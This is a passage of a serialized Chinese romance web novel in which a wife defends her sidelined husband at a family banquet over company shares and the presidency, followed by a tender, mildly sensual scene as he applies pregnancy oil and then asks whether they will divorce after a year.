陆栩然被骂了也没有不开心,按照他说的坐下吃东西。 陆京洲这话太过直白尖锐,撕破了所有伪装。 桌上瞬间安静下来,连旁边几桌的窃窃私语都停了,所有人的目光都聚焦在这小小的风暴中心。 陆鹤嵩脸色铁青,猛地一拍桌子,“陆京洲!你怎么跟你母亲说话的!还有没有规矩!” “我母亲早死了,怎么死的想必你们二位比我更清楚。”陆京洲声音平静,“至于规矩?陆家的规矩,不就是看谁更有用,谁更狠吗?” 眼看气氛僵持到极点,一直沉默的陆泓远,终于轻咳一声,用手中沉实的紫檀木手杖顿了顿地。 “好了,”他声音不高,却自带威严,瞬间吸引了全场的注意力,“都是一家人,吵吵嚷嚷像什么样子。今天家宴,主要是宣布两件事。” 他环视一圈,目光在陆京洲和岑予衿身上短暂停留,看不出情绪,随后缓缓开口,“第一,家里下一辈的孩子基本都成年了,按照家族传统,也该对部分资产进行分配,算是家族对你们未来的支持。” 侍立一旁的管家立刻上前,将几份文件分发给陆沉奕、陆栩然和陆京洲。 陆京洲没接,更没看! 他对这种东西向来没什么兴趣。 陆泓远继续道,“老太太名下10%集团股份不变,鹤嵩持股20%不变,月兰持股3%不变。新分配如下:沉奕,增持集团股份10%。” 陆沉奕站起身,微微躬身,沉稳地接过文件,“谢叔公,谢爸、妈,谢奶奶。” 姿态无可挑剔。 “栩然,增持集团股份2%。”陆泓远看向那个只顾埋头吃点心的小孩。 陆栩然似乎才反应过来,擦了擦手,有些慌乱地站起来,也学着他哥的样子鞠躬,“谢谢叔公,谢谢……” 他偷偷瞄了一眼父母,又看一下陆京洲眼里满是崇拜。 二哥的股份应该和大哥差不多。 等他长大了,就要当二哥的左膀右臂。 众人的目光不由自主地落在了陆京洲身上。 陆泓远语调不变,平静地宣布,“京洲,不参与此次集团股份分配。” 话音落下,宴会厅里响起一阵极力压抑却依旧清晰的低语。 无数道目光或同情、或嘲讽、或幸灾乐祸地投向那个方向。 不分配集团股份,这几乎是被排除在陆氏权力核心之外的明确信号。 岑予衿放在桌下的手悄然收紧,担忧地看向身旁的男人。 陆京洲却连眉毛都没动一下,仿佛早已料到,只漫不经心地晃着手中的酒杯,琥珀色的液体在灯下漾出微光。 陆泓远像是没察觉到那些议论,继续说道,“但是,家族名下位于城东、城南的五家子公司,将全部划归京洲独立经营管理。此外,西郊那套庄园、市中心那套顶层复式,以及车库里的那几辆车,也都归你。” 陆泓远见他没什么异议,解释道,“我知道你心不在商场,也不懂得经营,吃喝玩乐更适合你。” 五家子公司……在场稍微了解情况的人都心知肚明,那几乎是陆氏旗下最边缘、经营状况最不佳,甚至处于严重亏损状态的企业。 房产和车子虽然价值不菲,但相较于集团实实在在的股份,尤其是陆沉奕得到的10%,简直如同打发叫花子。 这哪里是分配,分明是羞辱性的施舍。 第88章 夫妻一体,谁也不能欺负他! 陆京洲终于掀起了眼皮,唇角勾起一抹似笑非笑的弧度,看向陆泓远,“谢叔公厚爱。” 他刻意放缓了“厚爱”两个字,听起来意味深长。 陆泓远面色不变,避开他的目光,转而提高了声音,宣布了第二件事,“这第二件事,也是我们陆氏集团未来发展的关键。 沉奕的能力大家有目共睹,这段时间也一直在忙和京耀财团合作的事情。 经过董事会决议,以及我和鹤嵩的慎重考虑,从下个月起,将由陆沉奕,正式出任陆氏集团总裁一职!” 京耀财团! 这个名字一出来,底下瞬间沸腾。 岑予衿都惊了一下。 她也有所耳闻,京耀财团的总部坐落在M国最繁华的经济核心区,两栋大楼并肩而立。 成立短短两年,就将公司发展到断层第一的位置。 听说亚太地区的分公司即将在京城落成。 这消息如同巨石投入深潭,激起千层浪。 宴会厅里短暂的死寂后,爆发出的嗡鸣几乎要掀翻屋顶。 京耀分公司在京城,对于陆家来说不是什么好消息。 可要是两家公司能合作,产生共赢的局面。 陆氏未来几十年的辉煌都将有了最坚实的保障。 这份功绩,确实足够厚重,厚重到足以将陆沉奕一举推上总裁之位。 无数或艳羡、或恭维、或探究的目光,瞬间聚焦到了站在陆泓远身侧,那个一直沉默温润的年轻人身上。 陆沉奕适时地上前半步,微微躬身,姿态谦和,“沉奕必当竭尽全力,不负爷爷、父亲和各位叔伯长辈的期望。” 他话音温和,却带着不容置疑的力量。 陆泓远满意地颔首,看向长孙的眼神充满了激赏。 一片喧闹中,只有陆京洲显得格格不入,轻哼了一声,满不在乎,“那几个歪瓜裂枣,我不稀罕要,爱给谁给谁,老婆回家。” 牵着岑予衿的手起身。 一直沉默的陆老太太开了口,“坐下!今天这事儿是谁的主意?股份又是谁分的?” 陆京洲虽然不着调,可再怎么说也是陆家二少爷。 连未成年的陆栩然都有百分之二,他凭什么不占? 大厅内空气骤然凝固。 陆老太太的声音不高,却带着不容置疑的威严,像一块冰投入沸腾的油锅,瞬间压下了所有喧嚣。 她那双历经风霜却依旧清明的眼睛,缓缓扫过陆泓远,最终落在陆鹤嵩脸上。 陆鹤嵩脸色微变,下意识避开了母亲的视线。 陆泓远握着紫檀手杖的手指紧了紧,面上维持着镇定,“大嫂,这是董事会和家族共同商议的决定,综合考虑了每个孩子的情况和未来发展方向。京洲他……志不在此,给他这些产业,也是让他有些事做,免得……” “免得什么?”陆老太太打断他,语气平缓却字字千斤。 “免得闹得整个集团鸡犬不宁。”陆鹤嵩迎上母亲的视线开了口,“他没进过集团?三天亏损五亿,要是真让他进公司,怎么向公司元老交代?” “够了。” 陆老太太的声音再次响起,比刚才更加沉冷。 她缓缓站起身,虽然年迈,但脊背挺得笔直,目光如炬,直视着自己的儿子陆鹤嵩。 “三天亏损五亿?”她重复着这个数字,每一个字都像裹着冰碴,“鹤嵩,你告诉我,当时你把他塞进哪个项目?给了他多少权限?身边配的是什么人?是真心想让他学,还是就等着他出纰漏,好把这个‘不成器’的罪名坐实了?!” 老太太一连串的质问,如同重锤,敲在每个人心上。 陆京洲听着老太太的话,眼底闪过一次意外,握着岑予衿的手更紧了几分。 岑予衿下意识的抬眼看向他,他才像是这会才反应过来,微微松开了一些。 陆鹤嵩张了张口,最终什么话也没说。 陆老太太也不给他继续说话的机会,“你手里那20%的股份,有10%是阿洲母亲的,你把那10%转到他名下。” 陆京洲从来不知道是这样的。 母亲还留了10%的股份给那个白眼狼。 陆鹤嵩第一个不同意。 要是把10%的股份转到路陆京洲名下,那他的股份和陆沉奕持平了。 “不公平,阿奕是阿洲同父同母的亲兄弟,全给他算什么?” 陆京洲饶有兴趣的坐回了自己的位置。 陆老太太则是恨铁不成钢,“原来你也知道不公平?” “那就重新分,怎么公平怎么来,至于总裁的位置,也得他们兄弟公平竞争。” 气氛一下子僵持不下。 岑予衿的手还被陆京洲握着,指尖传来他掌心的温度,可她心里那股莫名的憋闷却越胀越满。 看着陆鹤嵩理直气壮的模样,看着满厅人或明或暗的轻视目光。 她深吸一口气,忽然轻轻挣开陆京洲的手,往前站了半步。 她看起来乖乖的,可开口时,声音虽软,却字字清晰,没有半分犹豫,“爸,叔公。阿洲是什么样的人,我想我比在座的各位都要清楚。他或许不屑于解释,但不代表他可以任由人污蔑!” 所有人的目光瞬间齐刷刷落在她身上,包括陆京洲,他挑了挑眉,眼底闪过一丝错愕,随即漫上点玩味的笑意,倒也没拦着。 “他也是您亲儿子,您没必要偏心成连我一个刚嫁进来没多久都能看出来。” “至于股份,那是母亲留下的,是理所应当属于他的东西!凭什么不能给他?难道就因为他不在乎,不争不抢,就可以随意剥夺本属于他的一切吗?” 她越说越激动,胸口微微起伏,但逻辑却异常清晰,“还有总裁的位置,凭什么不能公平竞争?就因为阿洲曾经‘亏损’过,就一棍子打死,否定他所有的可能吗?这对他公平吗?” 她的目光落在陆沉奕身上,“大哥为集团付出很多,大家都看在眼里。” 她话锋一转,声音轻柔却带着不容置疑的力量,“但正因为总裁之位关系重大,才更应该让最有能力的人来担任。既然现在有了和京耀财团合作这样重要的机会......” 她顿了顿,感受到身旁陆京洲投来的灼热视线,更坚定了语气,“不如这样,既然京耀的合作对集团未来如此关键,那么,谁能为陆氏率先拿下与京耀财团的正式合作,谁就来担任总裁。这样既公平,又能真正为集团选拔出最有能力的人才。” 股份要! 总裁的位置要! 他们分的那些歪瓜裂枣自然也要! 夫妻一体,谁也不能欺负他! 第89章 一种你很爱我的错觉 这个提议一出,满座哗然! 就连一直从容的陆沉奕,眉头也几不可见地蹙了一下。 陆鹤嵩第一个反对,“胡闹!商业合作岂是儿戏?京耀这样的财团,岂是陆京洲这样的二世祖说能拿下就能拿下的?” “正因为不是儿戏,才更应该用实力说话。”岑予衿毫不退缩,她转头看向陆京洲,眼神里满是信任,“我相信阿洲有这个能力。既然大家都觉得他不成器,那就用这个机会证明给大家看。” 陆京洲深深地看着身旁这个小女人。 他从未见过这样的她,明明紧张得指尖都在发抖,却为了他,勇敢地站在整个陆家的对立面,为他争取一个公平的机会。 说实话,这些东西他一点也不在乎。 不过既然她都开口了,他也得给她挣个面子。 他低笑一声,懒洋洋地站起身,将岑予衿护在身侧,“我觉得我老婆这个提议很好。” 他扫视全场,目光最终定格在陆沉奕身上,“大哥,敢接吗?” 陆沉奕沉默片刻,终于开口,“京耀的合作确实至关重要。如果二弟有这个信心,我自然奉陪。” “好!”陆老太太一锤定音,“就这么定了!谁先拿下与京耀的合作,谁就是陆氏下一任总裁!公平,公正!” “至于股份,我手头的10%,转给阿洲,他母亲留下的10%,阿洲和阿奕各占5%就公平了。” 陆栩然蹭一下站起来,“我的2%给二哥。” 话刚说完,就被苏月兰一把捂住了嘴,“你瞎凑什么热闹?” 陆栩然委屈得不行,扒着她的手,还想继续说话。 “行,您手里的10%给他我没有任何意见,但是我手里的10%,谁拿京耀的合作我就给谁。” 陆京洲根本掀不起什么风浪,最后这10%只可能是陆沉奕的。 陆栩然扒开母亲的手,继续开口,“还是不公平。” “又怎么了?”苏月兰后槽牙都要咬碎了。 “大哥进公司三年,已经有实权了,二哥什么都没有,我手里2%的股份必须给二哥。” 陆京洲看着那小屁孩,嫌弃的不行。 最终在陆栩然的不懈努力。 陆京洲在股份上微压陆沉奕一头。 事情尘埃落定。 陆京洲抱着岑予衿出了门。 一路上两人都没有开口。 直到陆京洲抱着人进了后座,朝着司机吩咐,“回檀月山庄。” 岑予衿立刻阻止,“不要回家,去医院。” 说着一把拉过他的手,指着他手背上还在渗血的伤口,无奈道,“这么好看的手,不想要了吗?” 陆京洲想到她在宴会上的维护。 又想到了身上那份他早就签好字的离婚协议。 心情复杂到了极点。 一把将她抱进了怀里,搂的紧紧的,像是要把她嵌进自己的骨血。 岑予衿都被他抱蒙了,想到今天晚上他被所有人针对的遭遇,声音软了几分,“我知道你今天心情不好,咱们先去医院,回家我哄你好不好?” 陆京洲没说话,只是把她抱的更紧了一些。 “你不喜欢我,为什么要给我一种你很爱我的错觉?” 岑予衿被他这无厘头的话说的有些懵,一时不知道该怎么回答。 也没有推开他,只是在他说话之前,朝着死机吩咐,“张叔,去医院。” 车厢内灯光昏暗,隔绝了车外的喧嚣。 岑予衿那句轻柔的“回家我哄你好不好”还在空气中萦绕,陆京洲却像是被这句话刺痛了某根敏感的神经。 他猛地按下隔板按钮,黑色的挡板缓缓升起,彻底隔绝了前排的视线,将后座变成一个封闭而私密的空间。 “陆京洲你……”岑予衿的话音未落,就被他骤然欺近的身影堵了回去。 他不是在亲吻,更像是在宣泄某种压抑到极致的情绪,带着一种近乎疯狂的掠夺。 唇齿间是蛮横的入侵,不容拒绝,甚至带着一丝惩罚的意味,攫取着她的呼吸,吮得她舌尖发麻。 岑予衿被他这突如其来的举动吓到了,下意识地想要推拒,手腕却被他一只手轻易扣住,反剪到身后。 这个姿势让她更加贴近他,能清晰地感受到他胸膛下剧烈的心跳,以及周身散发出来的侵略感。 她挣扎的动作渐渐停了下来。 不是因为顺从,而是因为她在他这近乎粗暴的亲吻里,尝到了一丝不易察觉的……脆弱。 他在不安。 这个认知让岑予衿的心软了下来。 她不再抵抗,甚至开始尝试着生涩地回应,试图安抚他身上那股躁动不安的戾气。 她的回应像是一道细微的电流,窜过陆京洲的四肢百骸。 他的动作微微一顿,那狂风暴雨般的掠夺奇迹般地缓和了下来,变得更深,更缠绵。 不知过了多久,直到两人肺里的空气都快被耗尽,陆京洲才喘息着松开了她。 额头相抵,呼吸交织。 昏暗的光线下,他深邃的眼底翻涌着未退的激情和更深的复杂情绪。 他看着她被吻得红肿潋滟的唇瓣,看着她泛着水光的迷蒙双眼,指腹轻轻擦过她的唇角,声音沙哑得不成样子: “周芙笙……”他唤她的全名,带着一种近乎绝望的认真,“别骗我!” 如果你不爱我,就不要给我希望。 如果你只是在可怜我,就不要对我这么好。 陆京洲又低头在她唇上啄了一下,“我有话问你。” 岑予衿一把捂住了他的嘴,“没有去医院包扎好之前,休想从我嘴里套出一句话。” 陆京洲看着她炸毛的样子,心底的怒火散了大半,“行!回家问也一样!” 第90章 你就不怕我输了? 陆京洲想到刚才的画面,还是没忍住收紧了手臂,将她死死圈在怀里,滚烫的胸膛紧贴着她的,带着不容挣脱的力道。 “刚才在陆家老宅。”他的薄唇贴着她的耳廓,湿热的气息裹着沙哑的嗓音钻进耳窝,酥麻得让她浑身一颤,“你对着所有人说相信我时,在想什么?” 他的手指不安分地滑过她的腰侧,隔着薄薄的衣料,能清晰感受到她骤然绷紧的腰线。 另一只手抬起她的下巴,鼻尖几乎要蹭到她的鼻尖,深邃的眼底翻涌着浓得化不开的情愫。 “明知道我在他们眼里是扶不起的二世祖。”他的吻落在她的眼角,带着滚烫的温度,轻轻厮磨,“还敢站出来替我挡枪,周芙笙,你就不怕我输了,连带着你一起被陆家排挤?” 他的手掌顺着她的后背缓缓下移,最终停在她的后腰,微微用力,让她彻底贴合自己,两人之间再无半分空隙。 唇瓣擦过她的下颌,留下一串灼热的痕迹,声音低哑得像是蛊惑,“还是说……你早就离不开我了,舍不得我输?” 岑予衿摇头,没听出他话里的调侃。 脑子里全是今晚所有人针对他的画面,那种不舒服的感觉又涌了上来。 哪怕是陆老太太……也不是全心全意的对他。 她早就知道,陆京洲是被误会,也没想过替他澄清。 那名声坏道,哪怕他要进公司,也无人支持,一个人根本做不成什么大事儿。 想到这里,岑予衿只觉得心口一阵发紧。 她不能眼睁睁看着他被这样误解、被所有人轻视。 他明明不是那样的人,他值得被更多人看见,值得站在更高的地方。 岑予衿抬起双手捧住他的脸,目光坚定地撞进他深邃的眼眸,“不是,我觉得你不是那样的,你不是他们眼里那样的人。” 她的指尖轻轻抚过他的脸颊,声音温柔却有力,“一个10来岁就在电脑上展现出惊人天赋,敢给所有人下毒,同归于尽的人,不可能就此没落。仇人都没得到该有的报应,我们又怎敢懈怠?” 陆京洲听到她这番话,眼中闪过一丝诧异,随即化为复杂难辨的情绪。 周芙笙真的很了解他。 他抬手轻抚着她精致的眉眼,声音低沉,“你就没想过这10多年,我放弃了,堕落了,当年的天赋也在日复一日中消磨殆尽了吗?” 岑予衿用力摇头,语气更加坚定,“天赋不可能消失到毫无踪迹可循,脑子就摆在那儿,只要肯花这个心思,属于我们的,总会回来的。” 她感受到他身体的紧绷,知道他内心并非表面这般平静。 “陆京洲,努力争取,哪怕是输了,也不丢人。”她的声音轻柔却掷地有声。 “可不争不抢,佛系到底,别人给什么要什么,或者是别人给什么也不要什么,哪怕是接了总裁之位,我也觉得丢人。” 说到这里,她微微前倾,额头轻轻抵住他的,将他的手拉起来搭在自己小腹的位置,一字一句道,“我们就是得要,哪怕是他们给的歪瓜裂枣,也得要。你不考虑自己也得考虑宝宝吧,两个呢” 岑予衿深深叹了口气,“我们不可能一辈子靠别人,向上伸手要钱的日子不好过。总不能宝宝的奶粉钱都要跟别人要吧,我们要做的是把钱,权都握在自己手里。替宝宝铺好路。” 陆京洲感受着她微微隆起的小腹,呼吸明显一滞,深邃的眼眸中翻涌着难以名状的情绪。 “阿洲,我们是一家人,我会无条件的支持你,哪怕所有人都不理解。” 他看着她坚定的眼神,感受着她话语中的信任与期待,心头像是被什么狠狠撞了一下。 这么多年来,第一次有人如此毫无保留地相信他、支持他,甚至将未来都押在了他身上。 她这些话是发自内心的吗? 她是真的想和他过一辈子吗? 如果她说的是真的,哪怕只是因为宝宝也没关系…… 他真的越来越喜欢她了,他想象不到她突然脱身自己会怎么样。 离婚协议绝不能生效! 绝对不行。 陆京洲的喉结轻轻滚动,手臂不自觉地又收紧了几分,将脸埋在她的颈窝处,深深吸了一口气。 再抬头时,眼中已是一片清明和坚定,嘴角勾起一抹几不可见的弧度。 “好。”他低哑的嗓音中带着前所未有的认真,“既然你这么相信我,那我……更不能让你失望了。” 车在医院停车场稳稳停下。 陆京洲先下车,绕到后备箱。 他取出一只包装精致的盒子,回到后座,为她拉开车门。 “穿上。”他打开盒子,里面是一件嫩粉色的羽绒服,领口缀着一圈洁白的毛领,衣襟前还有两个装饰性的毛绒小球,用同色系丝带系成精巧的结。 不等她反应,他已抖开衣服,动作轻柔却不容拒绝地帮她穿上。 羽绒服宽大温暖,带着他掌心残留的温度和一丝清冽好闻的气息,瞬间将夜晚的寒冷隔绝在外。 陆京洲仔细地为她拉好拉链,一直拉到顶,白色的毛领簇拥着她红润的小脸,那两个小球球恰好垂在胸前,随着她的呼吸轻轻晃动。 他将她裹得严严实实,只露出那张精致的小脸。 “走吧。”他极其自然地牵起她的手,将她微凉的指尖完全包裹在自己温热的掌心里,带着她朝医院大门走去。 医生打开纱布,岑予衿也看清了他血肉模糊的手,心都揪在了一起。 替他疼。 小心翼翼的帮医生扶着他的手,“医生这看着都好疼,要不打个麻药?” “陆太太,这达不到打麻药的程度,碎玻璃都取出来了,再清洗一下就可以了。” 岑予衿若有所思的点了点头,“好吧。” 感受到陆京洲落在自己身上的视线,轻声的安抚,“阿洲,别看医生,我帮你吹吹,一会儿就好。” 医生看着小两口甜甜的互动,嘴角也忍不她住往上勾了勾。 这伤就是看起来严重,他还没见过哪个大男人这么不扛痛的。 她低头小心翼翼的替他吹着伤口,直到医生帮他把手上的纱布缠好。 岑予衿又问了一些注意事项,还主动担起了换药的工作。 回到家,时间不早了。 她如往常一样,洗澡护肤,吃叶酸。 忙了一整天,她都要累死了。 还有最后一项任务没有完成,涂妊娠油。 她怀的还是双胞胎,最害怕的就是长妊娠纹,宝宝也三个月了,每天都擦。 刚拿起小瓶子,想要去床上擦,一转身就看到了,站在门口的陆京洲。 这才突然想起来,他说的话,有话要问她,歪着脑袋看他,那样子可爱的不行,“刚才在车上你不是说有话要问我?” 陆京洲从回到家,一直想的都是这个问题,只不过他不知道该怎么开口。 陆京洲身上依旧穿着今天那套衣服,黑色的西装外套被他脱了,抱在怀里。 衬衫的领口解开了三颗,露出若隐若现的胸肌,看起来煞是勾人。 他迈着长腿,一步步往里走,没有说话。 第91章 说……你喜欢我! 陆京洲的目光落在她手中那个精致的小瓶子上,脚步未停,径直走到她面前。 “这是什么?”他低声问,视线从小瓶缓缓移到她脸上,带着一丝不易察觉的好奇。 岑予衿晃了晃手中的瓶子,里面淡金色的液体随之流动。 “妊娠油。”她语气自然,“医生说怀双胞胎肚子会大得比较快,要提前预防妊娠纹。” 她注意到他的目光一直追随着那个小瓶子,便多解释了一句,“每天都要涂的,让皮肤保持弹性。” 陆京洲的视线从瓶子移到她微微隆起还不是很明显的小腹,眼神深了几分。 他想起她将他的手按在她腹部的温度。 “我来。”他忽然开口,声音比刚才更低沉了几分。 岑予衿微微一怔,还没来得及反应,他已经伸手接过了那个小瓶子。 指尖不经意擦过她的掌心,带起一阵微麻。 “你不会,我自己来就好。”她张了张嘴,看着他认真端详瓶身说明的侧脸,一时不知该说什么。 陆京洲抬起眼,深邃的眸子在灯光下显得格外专注,“我可以学。” 他率先走向床边,坐下后拍了拍身旁的位置,继续看瓶子上的说明书,“躺好,等我一会儿。” 又怕自己了解的不够详细,拿出手机在网上搜索教程。 网上说妊娠油不仅仅要涂肚子,还要涂抹四肢,臀部和胸部。 他的脸色逐渐不对劲。 岑予衿一下子就反应过来了,这妊娠油可不是只涂肚子的,只想把它手里的油抢回来。 他俩除了怀宝宝的酒店那晚有肢体接触,其他仅限于亲亲抱抱,还没那么亲密过。 小脸红的跟煮熟的虾子似的,“陆京洲,你还给我。你不是说有话问我吗?我自己涂,你看着我涂,你说什么我回答什么……好不好?” 陆京洲把手抬高,避开了她的动作,看着她绯红的小脸,像熟透的蜜桃,诱人采撷。 “等会再问,那件事情咱们得慢慢聊。”他的声音低哑,带着不容置喙的意味,“先涂油,医生说每天都要做的事,不能耽误。” 岑予衿还想说什么,他却已倾身过来,强大的压迫感让她下意识后退半步,跌坐在柔软的床沿。 陆京洲将她的毛绒拖鞋脱掉,抱到床上躺好。 他单膝跪在床上,一手撑在她身侧,将她困于他的阴影之下,另一只手则利落地打开了瓶盖,清雅的香味在空气中淡淡散开。 “躺好。”他语气却因压抑着什么而显得格外性感。 “不行,我害羞。”岑予衿把头摇的跟拨浪鼓似的。 “周芙笙小姐,我是你的老公,咱俩已经有宝宝,害羞什么?”陆京洲俯身在她耳边轻声道。 他的声音低沉至极,带着莫名的磁性,带着一丝诱哄的味道。 岑予衿能不知道吗? 只是……这……莫名想到了那天晚上那些过不了审的画面。 陆京洲吻了吻她的眼睛,“笙笙,得习惯,网上都说了,自己涂,涂不匀,会长纹纹的。” 他的声音严肃,真像是要办正事儿,搞得像她不懂事儿,见她依旧没什么动,继续哄,“乖,闭着眼睛,我帮你脱。” 岑予衿心跳如擂鼓,知道拗不过他,只得慢吞吞,“我自己来……但你快点,我冷。” 丝质睡裙的布料摩挲着皮肤,带来一阵微凉的触感,很快就被他灼热的视线所覆盖。 陆京洲笑道,“房间里的温度早就调高了,不会冷的,放心吧,躺着先涂背面。” 岑予衿只觉得浑身血液逆流。 算了,迟早的事儿。 反正孕晚期自己涂的很均匀是不可能的。 而且,宝宝是他的,就当是让他干苦力活了。 闭上了眼,双手紧紧的攥着床单。 陆京洲看着她视死如归的模样,宠溺的摇了摇头。 微凉的液体被他倒在掌心搓热。 随后,那双骨节分明带着薄茧的大手,带着滚烫的温度和恰到好处的力道,贴上了她光滑的后背。 “嗯……”突如其来的接触让她脊背一僵,一声细微的嘤咛不受控制地逸出唇瓣。 他的动作顿了一下,呼吸明显重了几分。 掌心带着温热的油油,沿着她的脊柱沟缓缓向下,每一次按压和推揉,都像是在点燃一簇簇小火苗。 他的指尖偶尔划过她敏感的腰窝,引得她阵阵轻颤。 “这里……也要涂吗?”她声音发颤,试图用说话分散注意力。 “教程上说。”他的唇几乎贴着她的耳廓,湿热的气息拂过,“背部肌肉紧张,也需要放松。” 他的理由冠冕堂皇,动作却愈发慢条斯理,带着刻意的磨人。 后背涂完,他并没有停下,“躺下,该前面了。” 他的声音哑得不成样子。 岑予衿蜷缩了一下脚趾,认命般缓缓躺好,根本不敢看他的眼睛。 陆京洲的目光落在她微微起伏的小腹上,眼神瞬间幽暗得像不见底的深潭。 他掌心重新倒上油,这一次,动作轻柔得不可思议,仿佛在对待一件稀世珍宝。 他的手掌学着视频里的模样,认真的涂着。 那专注的神情,比她往常涂的还要认真。 可渐渐地,那画圈的范围在无形中扩大,指尖似有若无地擦过腰侧,蹭过髋骨,每一次边界模糊的触碰,都让岑予衿的身体绷得更紧,呼吸也愈发紊乱。 “陆京洲……可以了……”她忍不住求饶,声音软得能滴出水。 “还不行。”陆京洲断然拒绝,目光扫过她因紧张而剧烈起伏的胸口,喉结剧烈滚动了一下,嗓音紧绷得像一根即将断裂的弦,“教程上说,胸部……臀部也要涂。” 这句话如同惊雷炸响在岑予衿耳边,“我……我自己来!” 她猛地想坐起来,却被他轻轻按回床上。 他的手掌带着灼人的温度,缓慢地移了上来。 他没有用力,只是用沾满滑腻精油的掌心,极其缓慢地带着研磨意味地打着圈。 那种滑腻的、灼热的感觉,几乎要让岑予衿疯掉。 她闭上眼,咬住下唇,才能抑制住那即将脱口而出的呻吟。 身体深处涌起一股陌生的感觉,让她无力招架。 陆京洲俯下身,滚烫的唇贴上她脆弱的脖颈,感受着她脉搏疯狂的跳动。 他低哑的嗓音里充满了情动的欲念,“笙笙,乖,不用忍着~” 岑予衿微微偏头,刚要说话,他带着占有欲的吻已经落了下来,话全被他堵回了喉咙里,“唔~” 陆京洲的吻带着不容拒绝的强势,却又在触及她唇瓣的瞬间化为极致的温柔。 岑予衿被他吻得浑身发软,紧攥着床单的手指不知不觉间松开,下意识地攀上了他坚实的臂膀。 感受到她的回应,陆京洲喉间溢出一声满足的喟叹,吻得愈发深入,将她胸腔内所有的氧气都掠夺殆尽。 直到两人都气喘吁吁,他才勉强松开那两片被他躁躏得娇艳欲滴的唇瓣,额头抵着她的,呼吸灼热地交织在一起。 “笙笙……”他哑声唤她,带着薄茧的拇指轻轻摩挲着她泛红的脸颊,深邃的眼眸里翻涌着几乎要将她吞噬的浓稠情愫,“说……你喜欢我。” 她想否认,可在他那双能洞悉一切的眼眸注视下,所有违心的话都卡在喉或里。 她湿漉漉的眼神,微微红肿的唇瓣,一切都成了最强的催化剂。 陆京洲低吼一声,再次吻住她。 这一次,不再局限于她的唇。 滚烫的吻如同雨点般落下,落在纤细的脖颈,精致的锁骨…… “陆京洲……”她无助地唤着他的名字,声音里带着哭腔。 “我在。”他应着,动作却丝毫未停。 第92章 一年后我们会离婚对吗? 陆京洲滚烫的吻顺着锁骨往下,掠过胸口细腻的肌肤,落在她微微起伏的小腹时,他所有的动作都像是被按下了暂停键,硬生生地停住了。 他撑起身子,胸膛剧烈地起伏着,呼吸粗重得如同刚刚经历了一场马拉松。 深邃的眼眸里,浓稠的情欲与残存的理智正在激烈地搏斗。 他紧闭上眼,滚烫的呼吸拂过小腹,带着克制的灼热,随即缓缓直起身。 岑予衿睁开眼,眼底还蒙着未散的水汽,迷茫地望着他突然停下的动作,身体依旧紧绷着,指尖还攀在他的臂膀上。 半晌,陆京洲才缓缓睁开眼,眼底翻涌的浪潮勉强被压下,取而代之的是一种近乎无奈的宠溺和极致的克制。 他抬手,用指腹极其轻柔地擦过她眼角不自觉溢出的生理性泪水,声音沙哑得厉害,“不行……” 他深吸一口气,努力平复着躁动的血液,“你还怀着宝宝,前三个月……要特别小心。” 天知道他是用了多大的意志力,才将自己从极致的诱惑中剥离出来。 他不能冒险,不能让她和宝宝有任何闪失。 为了转移注意力,也为了掩饰自己依旧紧绷的状态,他的语气试图恢复平静,却依旧带着未褪的情动痕迹,“网上还说,冬天干燥,涂完油最好再涂一层身体乳,锁住水分。” 岑予衿的脸颊依旧滚烫,心里却莫名泛起一丝柔软,还有点说不清道不明的悸动。 又感动又心疼。 他没有继续被欲望支配,而是将她和宝宝的安全放在了第一位。 陆京洲没走太远,只是转身走到了梳妆台前,翻找片刻后拿出一瓶身体乳,上网查了一下,确定孕妇也可以用。 他重新坐回床边,点开手机屏幕,上面还停留在孕期护理的页面,一行加粗的字格外显眼。 【冬季干燥,妊娠油后需叠加身体乳锁水,避免肌肤干裂。】 他晃了晃手里的瓶子,语气尽量放得平和,试图掩盖方才的情潮,可耳尖的泛红却没能藏住,“刚才只涂了妊娠油,锁不住水分,得再叠加一层。” 他挤出适量身体乳在掌心,双手快速搓热,那股温润的奶香味混着之前的花香,在空气中弥漫开,多了几分柔和。 这一次,他的动作比刚才更克制,掌心带着恰到好处的温度,避开了敏感部位,只在四肢、腰侧、后背那些需要滋润的地方轻轻打圈按压。 力道温柔得像是在对待易碎的瓷器,指尖划过干本就滑嫩的肌肤,将身体乳均匀推开,留下一层细腻的保护膜。 岑予衿闭上眼,感受着他掌心的温度,不再像刚才那般紧绷,只是心跳依旧有些快。 他的动作很轻,带着小心翼翼的试探,偶尔指尖不经意擦过敏感处,也只是迅速收回,眼底的克制清晰可见。 “好了。”不知过了多久,陆京洲收回手,将身体乳放在床头柜上,“笙笙,往后每一天我都帮你涂。” 岑予衿点了点头。 他俯身,帮她拉好滑落的薄被,盖到胸口位置,动作轻柔得怕惊扰了她。 岑予衿侧躺着,看着他,脸颊依旧滚烫。 片刻后,床榻微微下陷,他躺了下来,保持着一个安全的距离,没有碰她。 只是将手臂轻轻搭在她的腰侧,掌心虚虚地护着她的小腹。 半晌,岑予衿都没有回过神来,也没敢往他那边钻。 她是安全的,他可忍不了,不能继续逗他了。 不过……这会让她安心入睡是不太可能了。 岑予衿侧躺着,水汪汪的眸子倒映着他那张帅的一塌糊涂的脸。 房间里是沉默的尴尬! 岑予衿率先开口,“你不是一直说有问题要问我,现在可以问了吧?” 陆京洲听到这话,脸上的表情瞬间变了,有……有犹豫和挣扎…… 翻身侧躺着,冲她微微勾了勾唇,“没事儿,不问了。” 岑予衿看着他那样,哪里像没事儿的样子? 不自觉的往他那边缩了缩,枕在了他的臂弯,“阿洲,有事儿就说,藏在心里不好,我们是最亲近的人。” 即便对他不能动心,不能动情,可两人中间隔着两个宝宝和一纸结婚证,就算不是爱人,也可以是最亲的家人。 陆京洲紧紧攥住了拳头,他害怕…… 他怕听到自己不想听的回答。 他对自己一点自信都没有。 迎上她鼓励的目光。 半晌,他才开了口,声音却委屈到了极点,“一年后我们会离婚对吗?” 第93章 就这么撕了? 岑予衿的呼吸微微一滞。 她没想到他会问这个。 一年之期,是她和老太太最初说好的,只不过后来老太太发现了她的真实身份,这份协议就不存在了。 他怎么会突然这么问? 此刻被他用这样紧张的声音问出来,她的心像是被什么东西轻轻揪了一下。 枕着的臂弯肌肉紧绷,显示着他此刻的忐忑。 她垂下眼睫,没有立刻回答,目光落在虚虚护在自己小腹的那只大手上。 他的手掌宽厚温热,即便只是这样隔着薄被轻覆着,也有一种莫名的安全感。 房间里再次陷入沉默。 陆京洲的心在她沉默的这几秒里,不断下沉。 她不回答那就是默认了,所以那份离婚协议是真的。 既然话都已经说出口了,那问清楚也是好的。 